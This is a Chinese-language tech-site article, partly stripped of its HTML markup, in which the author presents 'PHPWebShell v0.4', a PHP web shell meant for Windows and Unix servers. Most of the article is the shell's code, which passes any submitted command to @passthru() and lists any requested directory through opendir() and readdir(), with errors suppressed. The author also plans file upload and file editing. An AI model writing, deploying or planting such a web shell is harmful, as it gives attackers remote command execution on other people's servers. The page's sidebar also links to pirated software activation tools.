频道栏目
首页 > 资讯 > 网络编程 > 正文

PHP Shell的编写(改进版)

16-01-06        来源:[db:作者]  
收藏   我要投稿
以前写过一个没有任何技术含量的PHPCMDShell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHPShell,希望大家喜欢!

程序介绍:

程序:PHPWebShell
版本:v0.4
功能:
1.可以支持目前主流的操作系统:Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录


未来功能:
1.支持在线上传/下载文件功能
2.支持在线新建/删除/添加/修改文件功能

程序代码:



PHPWebShellv0.4



PHPWebShellv0.4
适用系统:Win32/Linux/Unix/BSD


<>">//获取脚本本身
输入命令
<>value="执行"class=input>

输入目录
<>value="浏览"class=input>




echo"服务器地址:";//显示服务器域名或IP地址
echo"本文件路径:$_SERVER[PATH_TRANSLATED]";//显示文件所在路径
?>


if(!empty($cmd)){
echo"执行$cmd命令后的结果:
";//执行命令后的提示
}
if(!empty($dir)){
echo"浏览目录$dir的结果:
";//查看目录后的提示
}
?>

if(empty($cmd)&&empty($dir)){//判断有没有输入命令,如果没有则出现错误提示
echo"请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
";
}
@passthru($cmd);//利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(),popen(),Exec()等
$f=@opendir($dir);//利用opendir()函数来获取目录信息赋值给变量
while($file=@readdir($f)){//使用readdir()函数循环读取目录信息
echo"$file\n";//分行显示获取的目录信息
}
?>


点击复制链接 与好友分享!回本站首页
相关TAG标签
上一篇:PHP的执行流程,PHP扩展加载过程[原创]
下一篇:PHP的json_encode分析[原创]
相关文章
热门专题推荐 vmware win7激活工具 win10激活工具 excel word office激活 小马激活工具 重装系统 数据恢复 u盘启动工具
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站